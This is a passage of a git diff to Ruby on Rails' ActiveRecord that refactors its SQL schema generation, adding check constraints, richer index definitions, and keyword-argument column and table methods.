-          m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
-          send m, o
+        def visit_AddColumnDefinition(o)
+          +"ADD #{accept(o.column)}"
         end
 
-        delegate :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql,
-          :options_include_default?, :supports_indexes_in_create?, :supports_foreign_keys_in_create?, :foreign_key_options, to: :@conn
-        private :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql,
-          :options_include_default?, :supports_indexes_in_create?, :supports_foreign_keys_in_create?, :foreign_key_options
+        def visit_TableDefinition(o)
+          create_sql = +"CREATE#{table_modifier_in_create(o)} TABLE "
+          create_sql << "IF NOT EXISTS " if o.if_not_exists
+          create_sql << "#{quote_table_name(o.name)} "
 
-        private
+          statements = o.columns.map { |c| accept c }
+          statements << accept(o.primary_keys) if o.primary_keys
 
-          def visit_AlterTable(o)
-            sql = "ALTER TABLE #{quote_table_name(o.name)} "
-            sql << o.adds.map { |col| accept col }.join(" ")
-            sql << o.foreign_key_adds.map { |fk| visit_AddForeignKey fk }.join(" ")
-            sql << o.foreign_key_drops.map { |fk| visit_DropForeignKey fk }.join(" ")
+          if supports_indexes_in_create?
+            statements.concat(o.indexes.map { |column_name, options| index_in_create(o.name, column_name, options) })
           end
 
-          def visit_ColumnDefinition(o)
-            o.sql_type = type_to_sql(o.type, o.options)
-            column_sql = "#{quote_column_name(o.name)} #{o.sql_type}"
-            add_column_options!(column_sql, column_options(o)) unless o.type == :primary_key
-            column_sql
+          if use_foreign_keys?
+            statements.concat(o.foreign_keys.map { |fk| accept fk })
           end
 
-          def visit_AddColumnDefinition(o)
-            "ADD #{accept(o.column)}"
+          if supports_check_constraints?
+            statements.concat(o.check_constraints.map { |chk| accept chk })
           end
 
-          def visit_TableDefinition(o)
-            create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE #{quote_table_name(o.name)} "
+          if supports_exclusion_constraints?
+            statements.concat(o.exclusion_constraints.map { |exc| accept exc })
+          end
 
-            statements = o.columns.map { |c| accept c }
-            statements << accept(o.primary_keys) if o.primary_keys
+          if supports_unique_constraints?
+            statements.concat(o.unique_constraints.map { |exc| accept exc })
+          end
 
-            if supports_indexes_in_create?
-              statements.concat(o.indexes.map { |column_name, options| index_in_create(o.name, column_name, options) })
-            end
+          create_sql << "(#{statements.join(', ')})" if statements.present?
+          add_table_options!(create_sql, o)
+          create_sql << " AS #{to_sql(o.as)}" if o.as
+          create_sql
+        end
 
-            if supports_foreign_keys_in_create?
-              statements.concat(o.foreign_keys.map { |to_table, options| foreign_key_in_create(o.name, to_table, options) })
-            end
+        def visit_PrimaryKeyDefinition(o)
+          "PRIMARY KEY (#{o.name.map { |name| quote_column_name(name) }.join(', ')})"
+        end
 
-            create_sql << "(#{statements.join(', ')})" if statements.present?
-            add_table_options!(create_sql, table_options(o))
-            create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
-            create_sql
-          end
+        def visit_ForeignKeyDefinition(o)
+          quoted_columns = Array(o.column).map { |c| quote_column_name(c) }
+          quoted_primary_keys = Array(o.primary_key).map { |c| quote_column_name(c) }
+          sql = +<<~SQL
+            CONSTRAINT #{quote_column_name(o.name)}
+            FOREIGN KEY (#{quoted_columns.join(", ")})
+              REFERENCES #{quote_table_name(o.to_table)} (#{quoted_primary_keys.join(", ")})
+          SQL
+          sql << " #{action_sql('DELETE', o.on_delete)}" if o.on_delete
+          sql << " #{action_sql('UPDATE', o.on_update)}" if o.on_update
+          sql
+        end
 
-          def visit_PrimaryKeyDefinition(o)
-            "PRIMARY KEY (#{o.name.join(', ')})"
-          end
+        def visit_AddForeignKey(o)
+          "ADD #{accept(o)}"
+        end
 
-          def visit_ForeignKeyDefinition(o)
-            sql = <<-SQL.strip_heredoc
-              CONSTRAINT #{quote_column_name(o.name)}
-              FOREIGN KEY (#{quote_column_name(o.column)})
-                REFERENCES #{quote_table_name(o.to_table)} (#{quote_column_name(o.primary_key)})
-            SQL
-            sql << " #{action_sql('DELETE', o.on_delete)}" if o.on_delete
-            sql << " #{action_sql('UPDATE', o.on_update)}" if o.on_update
-            sql
-          end
+        def visit_DropConstraint(name)
+          "DROP CONSTRAINT #{quote_column_name(name)}"
+        end
+        alias :visit_DropForeignKey :visit_DropConstraint
+        alias :visit_DropCheckConstraint :visit_DropConstraint
+
+        def visit_CreateIndexDefinition(o)
+          index = o.index
+
+          sql = ["CREATE"]
+          sql << "UNIQUE" if index.unique
+          sql << "INDEX"
+          sql << o.algorithm if o.algorithm
+          sql << "IF NOT EXISTS" if o.if_not_exists
+          sql << index.type if index.type
+          sql << "#{quote_column_name(index.name)} ON #{quote_table_name(index.table)}"
+          sql << "USING #{index.using}" if supports_index_using? && index.using
+          sql << "(#{quoted_columns(index)})"
+          sql << "INCLUDE (#{quoted_include_columns(index.include)})" if supports_index_include? && index.include
+          sql << "NULLS NOT DISTINCT" if supports_nulls_not_distinct? && index.nulls_not_distinct
+          sql << "WHERE #{index.where}" if supports_partial_index? && index.where
+
+          sql.join(" ")
+        end
 
-          def visit_AddForeignKey(o)
-            "ADD #{accept(o)}"
-          end
+        def visit_CheckConstraintDefinition(o)
+          "CONSTRAINT #{o.name} CHECK (#{o.expression})"
+        end
 
-          def visit_DropForeignKey(name)
-            "DROP CONSTRAINT #{quote_column_name(name)}"
-          end
+        def visit_AddCheckConstraint(o)
+          "ADD #{accept(o)}"
+        end
 
-          def table_options(o)
-            table_options = {}
-            table_options[:comment] = o.comment
-            table_options[:options] = o.options
-            table_options
-          end
+        def quoted_columns(o)
+          String === o.columns ? o.columns : quoted_columns_for_index(o.columns, o.column_options)
+        end
 
-          def add_table_options!(create_sql, options)
-            if options_sql = options[:options]
-              create_sql << " #{options_sql}"
-            end
-          end
+        def supports_index_using?
+          true
+        end
 
-          def column_options(o)
-            o.options.merge(column: o)
-          end
+        def add_table_options!(create_sql, o)
+          create_sql << " #{o.options}" if o.options
+          create_sql
+        end
 
-          def add_column_options!(sql, options)
-            sql << " DEFAULT #{quote_default_expression(options[:default], options[:column])}" if options_include_default?(options)
-            # must explicitly check for :null to allow change_column to work on migrations
-            if options[:null] == false
-              sql << " NOT NULL"
-            end
-            if options[:auto_increment] == true
-              sql << " AUTO_INCREMENT"
-            end
-            if options[:primary_key] == true
-              sql << " PRIMARY KEY"
-            end
-            sql
-          end
+        def column_options(o)
+          o.options.merge(column: o)
+        end
 
-          def foreign_key_in_create(from_table, to_table, options)
-            options = foreign_key_options(from_table, to_table, options)
-            accept ForeignKeyDefinition.new(from_table, to_table, options)
+        def add_column_options!(sql, options)
+          sql << " DEFAULT #{quote_default_expression_for_column_definition(options[:default], options[:column])}" if options_include_default?(options)
+          # must explicitly check for :null to allow change_column to work on migrations
+          if options[:null] == false
+            sql << " NOT NULL"
+          end
+          if options[:auto_increment] == true
+            sql << " AUTO_INCREMENT"
           end
+          if options[:primary_key] == true
+            sql << " PRIMARY KEY"
+          end
+          sql
+        end
+
+        def quote_default_expression_for_column_definition(default, column_definition)
+          column_definition.cast_type = lookup_cast_type(column_definition.sql_type)
+          quote_default_expression(default, column_definition)
+        end
+
+        def to_sql(sql)
+          sql = sql.to_sql if sql.respond_to?(:to_sql)
+          sql
+        end
+
+        # Returns any SQL string to go between CREATE and TABLE. May be nil.
+        def table_modifier_in_create(o)
+          " TEMPORARY" if o.temporary
+        end
 
-          def action_sql(action, dependency)
-            case dependency
-            when :nullify then "ON #{action} SET NULL"
-            when :cascade  then "ON #{action} CASCADE"
-            when :restrict then "ON #{action} RESTRICT"
-            else
-              raise ArgumentError, <<-MSG.strip_heredoc
-                '#{dependency}' is not supported for :on_update or :on_delete.
-                Supported values are: :nullify, :cascade, :restrict
-              MSG
-            end
+        def action_sql(action, dependency)
+          case dependency
+          when :nullify then "ON #{action} SET NULL"
+          when :cascade  then "ON #{action} CASCADE"
+          when :restrict then "ON #{action} RESTRICT"
+          else
+            raise ArgumentError, <<~MSG
+              '#{dependency}' is not supported for :on_update or :on_delete.
+              Supported values are: :nullify, :cascade, :restrict
+            MSG
           end
-      end
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 5eb7787226c20..7fa20c90845cf 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -1,20 +1,99 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  module ConnectionAdapters #:nodoc:
+  module ConnectionAdapters # :nodoc:
     # Abstract representation of an index definition on a table. Instances of
     # this type are typically created and returned by methods in database
-    # adapters. e.g. ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter#indexes
-    IndexDefinition = Struct.new(:table, :name, :unique, :columns, :lengths, :orders, :where, :type, :using, :comment) #:nodoc:
+    # adapters. e.g. ActiveRecord::ConnectionAdapters::MySQL::SchemaStatements#indexes
+    class IndexDefinition # :nodoc:
+      attr_reader :table, :name, :unique, :columns, :lengths, :orders, :opclasses, :where, :type, :using, :include, :nulls_not_distinct, :comment, :valid
+
+      def initialize(
+        table, name,
+        unique = false,
+        columns = [],
+        lengths: {},
+        orders: {},
+        opclasses: {},
+        where: nil,
+        type: nil,
+        using: nil,
+        include: nil,
+        nulls_not_distinct: nil,
+        comment: nil,
+        valid: true
+      )
+        @table = table
+        @name = name
+        @unique = unique
+        @columns = columns
+        @lengths = concise_options(lengths)
+        @orders = concise_options(orders)
+        @opclasses = concise_options(opclasses)
+        @where = where
+        @type = type
+        @using = using
+        @include = include
+        @nulls_not_distinct = nulls_not_distinct
+        @comment = comment
+        @valid = valid
+      end
+
+      def valid?
+        @valid
+      end
+
+      def column_options
+        {
+          length: lengths,
+          order: orders,
+          opclass: opclasses,
+        }
+      end
+
+      def defined_for?(columns = nil, name: nil, unique: nil, valid: nil, include: nil, nulls_not_distinct: nil, **options)
+        columns = options[:column] if columns.blank?
+        (columns.nil? || Array(self.columns) == Array(columns).map(&:to_s)) &&
+          (name.nil? || self.name == name.to_s) &&
+          (unique.nil? || self.unique == unique) &&
+          (valid.nil? || self.valid == valid) &&
+          (include.nil? || Array(self.include) == Array(include).map(&:to_s)) &&
+          (nulls_not_distinct.nil? || self.nulls_not_distinct == nulls_not_distinct)
+      end
+
+      private
+        def concise_options(options)
+          if columns.size == options.size && options.values.uniq.size == 1
+            options.values.first
+          else
+            options
+          end
+        end
+    end
 
     # Abstract representation of a column definition. Instances of this type
     # are typically created by methods in TableDefinition, and added to the
     # +columns+ attribute of said TableDefinition object, in order to be used
     # for generating a number of table creation or table changing SQL statements.
-    ColumnDefinition = Struct.new(:name, :type, :options, :sql_type) do # :nodoc:
+    ColumnDefinition = Struct.new(:name, :type, :options, :sql_type, :cast_type) do # :nodoc:
+      self::OPTION_NAMES = [
+        :limit,
+        :precision,
+        :scale,
+        :default,
+        :null,
+        :collation,
+        :comment,
+        :primary_key,
+        :if_exists,
+        :if_not_exists
+      ]
+
       def primary_key?
         options[:primary_key]
       end
 
-      [:limit, :precision, :scale, :default, :null, :collation, :comment].each do |option_name|
+      (self::OPTION_NAMES - [:primary_key]).each do |option_name|
         module_eval <<-CODE, __FILE__, __LINE__ + 1
           def #{option_name}
             options[:#{option_name}]
@@ -25,15 +104,27 @@ def #{option_name}=(value)
           end
         CODE
       end
+
+      def aliased_types(name, fallback)
+        "timestamp" == name ? :datetime : fallback
+      end
+
+      def fetch_cast_type(connection)
+        cast_type
+      end
     end
 
     AddColumnDefinition = Struct.new(:column) # :nodoc:
 
-    ChangeColumnDefinition = Struct.new(:column, :name) #:nodoc:
+    ChangeColumnDefinition = Struct.new(:column, :name) # :nodoc:
+
+    ChangeColumnDefaultDefinition = Struct.new(:column, :default) # :nodoc:
+
+    CreateIndexDefinition = Struct.new(:index, :algorithm, :if_not_exists) # :nodoc:
 
     PrimaryKeyDefinition = Struct.new(:name) # :nodoc:
 
-    ForeignKeyDefinition = Struct.new(:from_table, :to_table, :options) do #:nodoc:
+    ForeignKeyDefinition = Struct.new(:from_table, :to_table, :options) do # :nodoc:
       def name
         options[:name]
       end
@@ -54,17 +145,29 @@ def on_update
         options[:on_update]
       end
 
+      def deferrable
+        options[:deferrable]
+      end
+
       def custom_primary_key?
         options[:primary_key] != default_primary_key
       end
 
-      def defined_for?(to_table_ord = nil, to_table: nil, **options)
-        if to_table_ord
-          self.to_table == to_table_ord.to_s
-        else
-          (to_table.nil? || to_table.to_s == self.to_table) &&
-            options.all? { |k, v| self.options[k].to_s == v.to_s }
-        end
+      def validate?
+        options.fetch(:validate, true)
+      end
+      alias validated? validate?
+
+      def export_name_on_schema_dump?
+        !ActiveRecord::SchemaDumper.fk_ignore_pattern.match?(name) if name
+      end
+
+      def defined_for?(to_table: nil, validate: nil, **options)
+        options = options.slice(*self.options.keys)
+
+        (to_table.nil? || to_table.to_s == self.to_table) &&
+          (validate.nil? || validate == self.options.fetch(:validate, validate)) &&
+          options.all? { |k, v| Array(self.options[k]).map(&:to_s) == Array(v).map(&:to_s) }
       end
 
       private
@@ -73,6 +176,29 @@ def default_primary_key
         end
     end
 
+    CheckConstraintDefinition = Struct.new(:table_name, :expression, :options) do
+      def name
+        options[:name]
+      end
+
+      def validate?
+        options.fetch(:validate, true)
+      end
+      alias validated? validate?
+
+      def export_name_on_schema_dump?
+        !ActiveRecord::SchemaDumper.chk_ignore_pattern.match?(name) if name
+      end
+
+      def defined_for?(name:, expression: nil, validate: nil, **options)
+        options = options.slice(*self.options.keys)
+
+        self.name == name.to_s &&
+          (validate.nil? || validate == self.options.fetch(:validate, validate)) &&
+          options.all? { |k, v| self.options[k].to_s == v.to_s }
+      end
+    end
+
     class ReferenceDefinition # :nodoc:
       def initialize(
         name,
@@ -94,46 +220,65 @@ def initialize(
         end
       end
 
-      def add_to(table)
-        columns.each do |column_options|
-          table.column(*column_options)
+      def add(table_name, connection)
+        columns.each do |name, type, options|
+          connection.add_column(table_name, name, type, **options)
         end
 
         if index
-          table.index(column_names, index_options)
+          connection.add_index(table_name, column_names, **index_options(table_name))
         end
 
         if foreign_key
-          table.foreign_key(foreign_table_name, foreign_key_options)
+          connection.add_foreign_key(table_name, foreign_table_name, **foreign_key_options)
         end
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
+      def add_to(table)
+        columns.each do |name, type, options|
+          table.column(name, type, **options)
+        end
 
-        attr_reader :name, :polymorphic, :index, :foreign_key, :type, :options
+        if index
+          table.index(column_names, **index_options(table.name))
+        end
+
+        if foreign_key
+          table.foreign_key(foreign_table_name, **foreign_key_options)
+        end
+      end
 
       private
+        attr_reader :name, :polymorphic, :index, :foreign_key, :type, :options
 
-        def as_options(value, default = {})
-          if value.is_a?(Hash)
-            value
-          else
-            default
-          end
+        def as_options(value)
+          value.is_a?(Hash) ? value : {}
+        end
+
+        def conditional_options
+          options.slice(:if_exists, :if_not_exists)
         end
 
         def polymorphic_options
-          as_options(polymorphic, options)
+          as_options(polymorphic).merge(conditional_options).merge(options.slice(:null, :first, :after))
+        end
+
+        def polymorphic_index_name(table_name)
+          "index_#{table_name}_on_#{name}"
         end
 
-        def index_options
-          as_options(index)
+        def index_options(table_name)
+          index_options = as_options(index).merge(conditional_options)
+
+          # legacy reference index names are used on versions 6.0 and earlier
+          return index_options if options[:_uses_legacy_reference_index_name]
+
+          index_options[:name] ||= polymorphic_index_name(table_name) if polymorphic
+          index_options
         end
 
         def foreign_key_options
-          as_options(foreign_key).merge(column: column_name)
+          as_options(foreign_key).merge(column: column_name, **conditional_options)
         end
 
         def columns
@@ -160,49 +305,45 @@ def foreign_table_name
     end
 
     module ColumnMethods
+      extend ActiveSupport::Concern
+
+      class_methods do
+        private
+          def define_column_methods(*column_types) # :nodoc:
+            column_types.each do |column_type|
+              module_eval <<-RUBY, __FILE__, __LINE__ + 1
+              def #{column_type}(*names, **options)
+                raise ArgumentError, "Missing column name(s) for #{column_type}" if names.empty?
+                names.each { |name| column(name, :#{column_type}, **options) }
+              end
+              RUBY
+            end
+          end
+      end
+      extend ClassMethods
+
       # Appends a primary key definition to the table definition.
       # Can be called multiple times, but this is probably not a good idea.
       def primary_key(name, type = :primary_key, **options)
-        column(name, type, options.merge(primary_key: true))
-      end
-
-      # Appends a column or columns of a specified type.
-      #
-      #  t.string(:goat)
-      #  t.string(:goat, :sheep)
-      #
-      # See TableDefinition#column
-      [
-        :bigint,
-        :binary,
-        :boolean,
-        :date,
-        :datetime,
-        :decimal,
-        :float,
-        :integer,
-        :string,
-        :text,
-        :time,
-        :timestamp,
-        :virtual,
-      ].each do |column_type|
-        module_eval <<-CODE, __FILE__, __LINE__ + 1
-          def #{column_type}(*args, **options)
-            args.each { |name| column(name, :#{column_type}, options) }
-          end
-        CODE
+        column(name, type, **options, primary_key: true)
       end
-      alias_method :numeric, :decimal
+
+      define_column_methods :bigint, :binary, :boolean, :date, :datetime, :decimal,
+        :float, :integer, :json, :string, :text, :time, :timestamp, :virtual
+
+      alias :blob :binary
+      alias :numeric :decimal
     end
 
+    # = Active Record Connection Adapters \Table \Definition
+    #
     # Represents the schema of an SQL table in an abstract way. This class
     # provides methods for manipulating the schema representation.
     #
     # Inside migration files, the +t+ object in {create_table}[rdoc-ref:SchemaStatements#create_table]
     # is actually of this type:
     #
-    #   class SomeMigration < ActiveRecord::Migration[5.0]
+    #   class SomeMigration < ActiveRecord::Migration[8.1]
     #     def up
     #       create_table :foo do |t|
     #         puts t.class  # => "ActiveRecord::ConnectionAdapters::TableDefinition"
@@ -217,21 +358,49 @@ def #{column_type}(*args, **options)
     class TableDefinition
       include ColumnMethods
 
-      attr_accessor :indexes
-      attr_reader :name, :temporary, :options, :as, :foreign_keys, :comment
+      attr_reader :name, :temporary, :if_not_exists, :options, :as, :comment, :indexes, :foreign_keys, :check_constraints
 
-      def initialize(name, temporary = false, options = nil, as = nil, comment: nil)
+      def initialize(
+        conn,
+        name,
+        temporary: false,
+        if_not_exists: false,
+        options: nil,
+        as: nil,
+        comment: nil,
+        **
+      )
+        @conn = conn
         @columns_hash = {}
         @indexes = []
         @foreign_keys = []
         @primary_keys = nil
+        @check_constraints = []
         @temporary = temporary
+        @if_not_exists = if_not_exists
         @options = options
         @as = as
         @name = name
         @comment = comment
       end
 
+      def set_primary_key(table_name, id, primary_key, **options)
+        if id && !as
+          pk = primary_key || Base.get_primary_key(table_name.to_s.singularize)
+
+          if id.is_a?(Hash)
+            options.merge!(id.except(:type))
+            id = id.fetch(:type, :primary_key)
+          end
+
+          if pk.is_a?(Array)
+            primary_keys(pk)
+          else
+            primary_key(pk, id, **options)
+          end
+        end
+      end
+
       def primary_keys(name = nil) # :nodoc:
         @primary_keys = PrimaryKeyDefinition.new(name) if name
         @primary_keys
@@ -257,7 +426,7 @@ def [](name)
       #
       # == Examples
       #
-      #  # Assuming +td+ is an instance of TableDefinition
+      #  # Assuming `td` is an instance of TableDefinition
       #  td.column(:granted, :boolean, index: true)
       #
       # == Short-hand examples
@@ -309,21 +478,21 @@ def [](name)
       #
       #   create_table :taggings do |t|
       #     t.references :tag, index: { name: 'index_taggings_on_tag_id' }
-      #     t.references :tagger, polymorphic: true, index: true
-      #     t.references :taggable, polymorphic: { default: 'Photo' }
+      #     t.references :tagger, polymorphic: true
+      #     t.references :taggable, polymorphic: { default: 'Photo' }, index: false
       #   end
-      def column(name, type, options = {})
+      def column(name, type, index: nil, **options)
         name = name.to_s
         type = type.to_sym if type
-        options = options.dup
 
-        if @columns_hash[name] && @columns_hash[name].primary_key?
-          raise ArgumentError, "you can't redefine the primary key column '#{name}'. To define a custom primary key, pass { id: false } to create_table."
+        raise_on_duplicate_column(name)
+        @columns_hash[name] = new_column_definition(name, type, **options)
+
+        if index
+          index_options = index.is_a?(Hash) ? index : {}
+          index(name, **index_options)
         end
 
-        index_options = options.delete(:index)
-        index(name, index_options.is_a?(Hash) ? index_options : {}) if index_options
-        @columns_hash[name] = new_column_definition(name, type, options)
         self
       end
 
@@ -337,15 +506,16 @@ def remove_column(name)
       # This is primarily used to track indexes that need to be created after the table
       #
       #   index(:account_id, name: 'index_projects_on_account_id')
-      def index(column_name, options = {})
+      def index(column_name, **options)
         indexes << [column_name, options]
       end
 
-      def foreign_key(table_name, options = {}) # :nodoc:
-        table_name_prefix = ActiveRecord::Base.table_name_prefix
-        table_name_suffix = ActiveRecord::Base.table_name_suffix
-        table_name = "#{table_name_prefix}#{table_name}#{table_name_suffix}"
-        foreign_keys.push([table_name, options])
+      def foreign_key(to_table, **options)
+        foreign_keys << new_foreign_key_definition(to_table, options)
+      end
+
+      def check_constraint(expression, **options)
+        check_constraints << new_check_constraint_definition(expression, options)
       end
 
       # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
@@ -355,69 +525,141 @@ def foreign_key(table_name, options = {}) # :nodoc:
       def timestamps(**options)
         options[:null] = false if options[:null].nil?
 
-        column(:created_at, :datetime, options)
-        column(:updated_at, :datetime, options)
+        if !options.key?(:precision) && @conn.supports_datetime_with_precision?
+          options[:precision] = 6
+        end
+
+        column(:created_at, :datetime, **options)
+        column(:updated_at, :datetime, **options)
       end
 
       # Adds a reference.
       #
       #  t.references(:user)
       #  t.belongs_to(:supplier, foreign_key: true)
+      #  t.belongs_to(:supplier, foreign_key: true, type: :integer)
       #
       # See {connection.add_reference}[rdoc-ref:SchemaStatements#add_reference] for details of the options you can use.
       def references(*args, **options)
         args.each do |ref_name|
-          ReferenceDefinition.new(ref_name, options).add_to(self)
+          ReferenceDefinition.new(ref_name, **options).add_to(self)
         end
       end
       alias :belongs_to :references
 
       def new_column_definition(name, type, **options) # :nodoc:
+        if integer_like_primary_key?(type, options)
+          type = integer_like_primary_key_type(type, options)
+        end
         type = aliased_types(type.to_s, type)
+
+        if @conn.supports_datetime_with_precision?
+          if type == :datetime && !options.key?(:precision)
+            options[:precision] = 6
+          end
+        end
+
         options[:primary_key] ||= type == :primary_key
         options[:null] = false if options[:primary_key]
         create_column_definition(name, type, options)
       end
 
+      def new_foreign_key_definition(to_table, options) # :nodoc:
+        prefix = ActiveRecord::Base.table_name_prefix
+        suffix = ActiveRecord::Base.table_name_suffix
+        to_table = "#{prefix}#{to_table}#{suffix}"
+        options = @conn.foreign_key_options(name, to_table, options)
+        ForeignKeyDefinition.new(name, to_table, options)
+      end
+
+      def new_check_constraint_definition(expression, options) # :nodoc:
+        options = @conn.check_constraint_options(name, expression, options)
+        CheckConstraintDefinition.new(name, expression, options)
+      end
+
       private
+        def valid_column_definition_options
+          @conn.valid_column_definition_options
+        end
+
         def create_column_definition(name, type, options)
+          unless options[:_skip_validate_options]
+            options.except(:_uses_legacy_reference_index_name, :_skip_validate_options).assert_valid_keys(valid_column_definition_options)
+          end
+
           ColumnDefinition.new(name, type, options)
         end
 
         def aliased_types(name, fallback)
           "timestamp" == name ? :datetime : fallback
         end
+
+        def integer_like_primary_key?(type, options)
+          options[:primary_key] && [:integer, :bigint].include?(type) && !options.key?(:default)
+        end
+
+        def integer_like_primary_key_type(type, options)
+          type
+        end
+
+        def raise_on_duplicate_column(name)
+          if @columns_hash[name]
+            if @columns_hash[name].primary_key?
+              raise ArgumentError, "you can't redefine the primary key column '#{name}' on '#{@name}'. To define a custom primary key, pass { id: false } to create_table."
+            else
+              raise ArgumentError, "you can't define an already defined column '#{name}' on '#{@name}'."
+            end
+          end
+        end
     end
 
     class AlterTable # :nodoc:
       attr_reader :adds
-      attr_reader :foreign_key_adds
-      attr_reader :foreign_key_drops
+      attr_reader :foreign_key_adds, :foreign_key_drops
+      attr_reader :check_constraint_adds, :check_constraint_drops
+      attr_reader :constraint_drops
 
       def initialize(td)
         @td   = td
         @adds = []
         @foreign_key_adds = []
         @foreign_key_drops = []
+        @check_constraint_adds = []
+        @check_constraint_drops = []
+        @constraint_drops = []
       end
 
       def name; @td.name; end
 
       def add_foreign_key(to_table, options)
-        @foreign_key_adds << ForeignKeyDefinition.new(name, to_table, options)
+        @foreign_key_adds << @td.new_foreign_key_definition(to_table, options)
       end
 
       def drop_foreign_key(name)
         @foreign_key_drops << name
       end
 
-      def add_column(name, type, options)
+      def add_check_constraint(expression, options)
+        @check_constraint_adds << @td.new_check_constraint_definition(expression, options)
+      end
+
+      def drop_check_constraint(constraint_name)
+        @check_constraint_drops << constraint_name
+      end
+
+      def drop_constraint(constraint_name)
+        @constraint_drops << constraint_name
+      end
+
+      def add_column(name, type, **options)
         name = name.to_s
         type = type.to_sym
-        @adds << AddColumnDefinition.new(@td.new_column_definition(name, type, options))
+        @adds << AddColumnDefinition.new(@td.new_column_definition(name, type, **options))
       end
     end
 
+    # = Active Record Connection Adapters \Table
+    #
     # Represents an SQL table in an abstract way for updating a table.
     # Also see TableDefinition and {connection.create_table}[rdoc-ref:SchemaStatements#create_table]
     #
@@ -431,9 +673,11 @@ def add_column(name, type, options)
     #     t.timestamps
     #     t.change
     #     t.change_default
+    #     t.change_null
     #     t.rename
     #     t.references
     #     t.belongs_to
+    #     t.check_constraint
     #     t.string
     #     t.text
     #     t.integer
@@ -446,11 +690,17 @@ def add_column(name, type, options)
     #     t.time
     #     t.date
     #     t.binary
+    #     t.blob
     #     t.boolean
+    #     t.foreign_key
+    #     t.json
+    #     t.virtual
     #     t.remove
+    #     t.remove_foreign_key
     #     t.remove_references
     #     t.remove_belongs_to
     #     t.remove_index
+    #     t.remove_check_constraint
     #     t.remove_timestamps
     #   end
     #
@@ -469,8 +719,13 @@ def initialize(table_name, base)
       #  t.column(:name, :string)
       #
       # See TableDefinition#column for details of the options you can use.
-      def column(column_name, type, options = {})
-        @base.add_column(name, column_name, type, options)
+      def column(column_name, type, index: nil, **options)
+        raise_on_if_exist_options(options)
+        @base.add_column(name, column_name, type, **options)
+        if index
+          index_options = index.is_a?(Hash) ? index : {}
+          index(column_name, **index_options)
+        end
       end
 
       # Checks to see if a column exists.
@@ -478,8 +733,8 @@ def column(column_name, type, options = {})
       #  t.string(:name) unless t.column_exists?(:name, :string)
       #
       # See {connection.column_exists?}[rdoc-ref:SchemaStatements#column_exists?]
-      def column_exists?(column_name, type = nil, options = {})
-        @base.column_exists?(name, column_name, type, options)
+      def column_exists?(column_name, type = nil, **options)
+        @base.column_exists?(name, column_name, type, **options)
       end
 
       # Adds a new index to the table. +column_name+ can be a single Symbol, or
@@ -490,8 +745,9 @@ def column_exists?(column_name, type = nil, options = {})
       #  t.index([:branch_id, :party_id], unique: true, name: 'by_branch_party')
       #
       # See {connection.add_index}[rdoc-ref:SchemaStatements#add_index] for details of the options you can use.
-      def index(column_name, options = {})
-        @base.add_index(name, column_name, options)
+      def index(column_name, **options)
+        raise_on_if_exist_options(options)
+        @base.add_index(name, column_name, **options)
       end
 
       # Checks to see if an index exists.
@@ -501,8 +757,8 @@ def index(column_name, options = {})
       #  end
       #
       # See {connection.index_exists?}[rdoc-ref:SchemaStatements#index_exists?]
-      def index_exists?(column_name, options = {})
-        @base.index_exists?(name, column_name, options)
+      def index_exists?(column_name = nil, **options)
+        @base.index_exists?(name, column_name, **options)
       end
 
       # Renames the given index on the table.
@@ -519,8 +775,9 @@ def rename_index(index_name, new_index_name)
       #  t.timestamps(null: false)
       #
       # See {connection.add_timestamps}[rdoc-ref:SchemaStatements#add_timestamps]
-      def timestamps(options = {})
-        @base.add_timestamps(name, options)
+      def timestamps(**options)
+        raise_on_if_exist_options(options)
+        @base.add_timestamps(name, **options)
       end
 
       # Changes the column's definition according to the new options.
@@ -529,8 +786,9 @@ def timestamps(options = {})
       #  t.change(:description, :text)
       #
       # See TableDefinition#column for details of the options you can use.
-      def change(column_name, type, options = {})
-        @base.change_column(name, column_name, type, options)
+      def change(column_name, type, **options)
+        raise_on_if_exist_options(options)
+        @base.change_column(name, column_name, type, **options)
       end
 
       # Sets a new default value for a column.
@@ -544,14 +802,25 @@ def change_default(column_name, default_or_changes)
         @base.change_column_default(name, column_name, default_or_changes)
       end
 
+      # Sets or removes a NOT NULL constraint on a column.
+      #
+      #  t.change_null(:qualification, true)
+      #  t.change_null(:qualification, false, 0)
+      #
+      # See {connection.change_column_null}[rdoc-ref:SchemaStatements#change_column_null]
+      def change_null(column_name, null, default = nil)
+        @base.change_column_null(name, column_name, null, default)
+      end
+
       # Removes the column(s) from the table definition.
       #
       #  t.remove(:qualification)
       #  t.remove(:qualification, :experience)
       #
       # See {connection.remove_columns}[rdoc-ref:SchemaStatements#remove_columns]
-      def remove(*column_names)
-        @base.remove_columns(name, *column_names)
+      def remove(*column_names, **options)
+        raise_on_if_exist_options(options)
+        @base.remove_columns(name, *column_names, **options)
       end
 
       # Removes the given index from the table.
@@ -559,10 +828,12 @@ def remove(*column_names)
       #   t.remove_index(:branch_id)
       #   t.remove_index(column: [:branch_id, :party_id])
       #   t.remove_index(name: :by_branch_party)
+      #   t.remove_index(:branch_id, name: :by_branch_party)
       #
       # See {connection.remove_index}[rdoc-ref:SchemaStatements#remove_index]
-      def remove_index(options = {})
-        @base.remove_index(name, options)
+      def remove_index(column_name = nil, **options)
+        raise_on_if_exist_options(options)
+        @base.remove_index(name, column_name, **options)
       end
 
       # Removes the timestamp columns (+created_at+ and +updated_at+) from the table.
@@ -570,8 +841,8 @@ def remove_index(options = {})
       #  t.remove_timestamps
       #
       # See {connection.remove_timestamps}[rdoc-ref:SchemaStatements#remove_timestamps]
-      def remove_timestamps(options = {})
-        @base.remove_timestamps(name, options)
+      def remove_timestamps(**options)
+        @base.remove_timestamps(name, **options)
       end
 
       # Renames a column.
@@ -590,8 +861,9 @@ def rename(column_name, new_column_name)
       #
